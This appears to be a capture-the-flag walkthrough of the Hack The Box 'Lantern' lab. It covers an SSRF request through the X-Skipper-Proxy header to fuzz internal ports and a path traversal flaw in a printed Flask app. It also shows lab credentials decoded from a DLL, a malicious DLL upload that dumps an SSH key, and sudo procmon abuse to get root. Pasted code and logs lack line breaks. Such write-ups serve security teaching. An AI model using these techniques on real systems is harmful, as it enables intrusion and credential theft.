This is an Ubuntu 22.04 machine hosting a web server on port 80. This is vulnerable to path traversal and also to SSRF, due to an installed version of Skipper Proxy (CVE-2022-38580). This can be exploited to find another internal web server on port 5000 made with ASP.NET Blazor. Abusing this server we are able to upload a malicious DLL that allows us to download a private key for a low-priv shell. Regarding esclation, we abuse a procmon binary that runs with sudo. This application uses BLOB storage in a SQLite database to record events that includes the root password.
If we have a look at the exploit description, we just need to add the header X-Skipper-Proxy with the URL we want to query in our HTTP request.
Let's try it with a request to port 8080.
The application replies with code 503, so the vulnerability is confirmed.
On the other hand, we also see a login portal on port 3000.
If we inspect traffic with Burpsuite we find out it is made with Blazor.
It is an ASP.NET framework for building webs in C#. It is also an old acquaintance of ours since we have already exploited it in Week 12. Blazorized (Season 5).
USER
Leverage the SSRF to query the host for open web ports, something similar to what we did in Week 9. Editorial (Season 5). Just copy the HTTP request to a file and add the tag "FUZZ" in the port field.
GET / HTTP/1.1Host:lantern.htbX-Skipper-Proxy:http://127.0.0.1:FUZZUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflate, brConnection:keep-aliveUpgrade-Insecure-Requests:1
We already know what is happening on ports 80 and 3000, let's check what is happening on port 5000.
It looks like the Blazor framework is running here. OK, we know the drill, first download the blazor.boot.json to check the loaded DLLs.
Most of them are system DLLs, but there is also a custom InternalLantern.dll
Let's download it with Burpsuite. For this, send a request to Repeater, right-click on it and select "Request in browser" so we can download the DLL in the browser leveraging the SSRF at the same time.
Copy and paste the link provided by Burpsuite in Firefox, the DLL is downloaded.
Decompile it with dotpeek, we find several base64 strings related to new employees.
Decode them to find several useful info.
> base64 -d base64Head of sales department, emergency contact: +4412345678, email: john.s@example.comHR, emergency contact: +4412345678, email: anny.t@example.comFullStack developer, emergency contact: +4412345678, email: catherine.r@example.comPR, emergency contact: +4412345678, email: lara.s@example.comJunior .NET developer, emergency contact: +4412345678, email: lila.s@example.comSystem administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!
Use the system administrator credentials to log in the admin portal running on port 3000.
In the "Files" section you have access to the web application Python source code app.py
from flask import Flask, render_template, send_file, request, redirect, jsonfrom werkzeug.utils import secure_filenameimport osapp=Flask("__name__")@app.route('/')defindex():if request.headers['Host']!="lantern.htb":returnredirect("http://lantern.htb/", code=302)returnrender_template("index.html")@app.route('/vacancies')defvacancies():returnrender_template('vacancies.html')@app.route('/submit', methods=['POST'])defsave_vacancy(): name = request.form.get('name') email = request.form.get('email') vacancy = request.form.get('vacancy', default='Middle Frontend Developer')if'resume'in request.files:try: file = request.files['resume'] resume_name = file.filenameif resume_name.endswith('.pdf')or resume_name =='': filename =secure_filename(f"resume-{name}-{vacancy}-latern.pdf") upload_folder = os.path.join(os.getcwd(), 'uploads') destination ='/'.join([upload_folder, filename]) file.save(destination)else:return"Only PDF files allowed!"except:return"Something went wrong!"return"Thank you! We will conact you very soon!"@app.route('/PrivacyAndPolicy')defsendPolicyAgreement(): lang = request.args.get('lang') file_ext = request.args.get('ext')try:returnsend_file(f'/var/www/sites/localisation/{lang}.{file_ext}')except:returnsend_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')if__name__=='__main__': app.run(host='127.0.0.1', port=8000)# which contains a path traversal vulnerability in this function@app.route('/PrivacyAndPolicy')defsendPolicyAgreement(): lang = request.args.get('lang') file_ext = request.args.get('ext')try:returnsend_file(f'/var/www/sites/localisation/{lang}.{file_ext}')except:returnsend_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')
There is a path traversal vulnerability in the sendPolicyAgreement() function. In the endpoint /PrivacyAndPolicy the application takes parameters lang and ext without sanitization, then concatenates them with a dot in between to form a file path.
A way to verify vulnerability with curl would be the following.
We take note of the username tomas as it is the only with a shell assigned in the /etc/passwd file (apart from root).
A way to log in as user tomas would be to find his private key in the file system. However, the web server on port 80 is running under www-data context and we cannot exploit the path traversal to dump the private key.
The Blazor web server running on port 3000 could be running under tomas context but this one is not vulnerable to path traversal. Therefore, we have to find another vulnerability in the web server running on port 3000.
Notice that in the admin dashboard, when we choose an unknown module, the application outputs the path where modules are loaded.
If we could upload a malicious DLL in /opt/components/ maybe we could read the private key.
Let's prepare a C# snippet read the private key in the file system. First, create a new .NET class library project named MyFileReaderLibrary
> dotnet new classlib -n MyFileReaderLibrary
Move to that directory and edit the Class1.cs file. Add the following code in C# to dump the id_rsa private key.
Add the package to provide the core Blazor components.
> dotnet add package Microsoft.AspNetCore.Components --version 6.0.0Determiningprojectstorestore...Writing/tmp/tmp1A1u2q.tmpinfo:X.509certificatechainvalidationwillusethefallbackcertificatebundleat'/usr/share/dotnet/sdk/6.0.402/trustedroots/codesignctl.pem'.info:AddingPackageReferenceforpackage'Microsoft.AspNetCore.Components'intoproject'/home/kali/htb/lantern/MyFileReaderLibrary/MyFileReaderLibrary.csproj'.info:Restoringpackagesfor/home/kali/htb/lantern/MyFileReaderLibrary/MyFileReaderLibrary.csproj...info:Package'Microsoft.AspNetCore.Components'iscompatiblewithallthespecifiedframeworksinproject'/home/kali/htb/lantern/MyFileReaderLibrary/MyFileReaderLibrary.csproj'.info:PackageReferenceforpackage'Microsoft.AspNetCore.Components'version'6.0.0'addedtofile'/home/kali/htb/lantern/MyFileReaderLibrary/MyFileReaderLibrary.csproj'.info:GeneratingMSBuildfile/home/kali/htb/lantern/MyFileReaderLibrary/obj/MyFileReaderLibrary.csproj.nuget.g.targets.info:Writingassetsfiletodisk.Path:/home/kali/htb/lantern/MyFileReaderLibrary/obj/project.assets.jsonlog:Restored/home/kali/htb/lantern/MyFileReaderLibrary/MyFileReaderLibrary.csproj (in 181ms)
Finally, build the project.
> dotnet build -c ReleaseMSBuildversion17.3.2+561848881for.NETDeterminingprojectstorestore...Allprojectsareup-to-dateforrestore.MyFileReaderLibrary/Class1.cs(33,26): warning CS8618: Non-nullable property 'FileContent' must contain a non-null value when exiting constructor. Consider declaring the property as nullable. [MyFileReaderLibrary/MyFileReaderLibrary.csproj] MyFileReaderLibrary ->MyFileReaderLibrary/bin/Release/net6.0/MyFileReaderLibrary.dllBuildsucceeded.MyFileReaderLibrary/Class1.cs(33,26): warning CS8618: Non-nullable property 'FileContent' must contain a non-null value when exiting constructor. Consider declaring the property as nullable. [MyFileReaderLibrary/MyFileReaderLibrary.csproj] 1Warning(s) 0Error(s) TimeElapsed00:00:01.83
The MyFileReaderLibrary.dll library is generated in bin/Release/net6.0
To upload it, click on "Upload content", and intercept the request. You have to modify the upload path to be opt/components/MyFileReaderLibrary.dll. Unfortunately, this cannot be done manually since the Blazor applications uses binary serialized data, and you need a Burpsuite extension called BTP to serialize the data we need to modify the HTTP requests.
Install the extension and send the intercepted request to BTP.
Here you just need to deserialize the binary Blazor data (Blazor -> JSON) and modify the path as needed.
Then copy the resulting JSON into the left part and serialize it again (JSON -> Blazor).
The resulting binary payload is what you have to insert in the intercepted HTTP request, then forward it.
The DLL is successfully uploaded.
Then choose module MyFileReaderLibrary, the DLL is execute and the private key is dumped.
Use it to get an SSH session in the host as user tomas
And get the user flag.
ROOT
Start from the low-priv shell as user tomas and take the opportunity to enumerate e user and the system.
The welcome message says we have mail so let's have a look at it.
> cat /var/mail/tomasFromhr@lantern.htbMonJan112:00:002023Subject:WelcometoLantern!HiTomas,CongratulationsonjoiningtheLanternteamasaLinuxEngineer!We're thrilled to have you on board.While we'resettingupyournewaccount,feelfreetousetheaccessandtoolsetofourpreviousteammember.Soon,you'll have all the access you need.Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.Exciting times ahead!Best.
> sudo procmon --helpprocmon [OPTIONS...]OPTIONS-h/--helpPrintsthishelpscreen-p/--pidsCommaseparatedlistofprocessidstomonitor-e/--eventsCommaseparatedlistofsystemcallstomonitor-c/--collect [FILEPATH] Option to start Procmon in a headless mode-f/--fileFILEPATHOpenaProcmontracefile
This suggests a process monitoring tool where we can specify which events we are interested in with the -e flag. In other words, which system calls or events we want to monitor.
Check automation.sh PID and register its write events with procmon
We see BLOB binary data is saved in the 8th column (https://es.wikipedia.org/wiki/Binary_large_object). If we visually inspect the database, we see interesting stuff is always written in the blob when resultcode is 1 or 6. And it is always written starting from the 9th byte in the BLOB.
So let's export the BLOBs in HEX format to have a closer look.
sqlite> .outblobs.txtsqlite> SELECThex(substr(arguments,9,resultcode)) FROM ebpf WHERE resultcode > 0;sqlite> .exit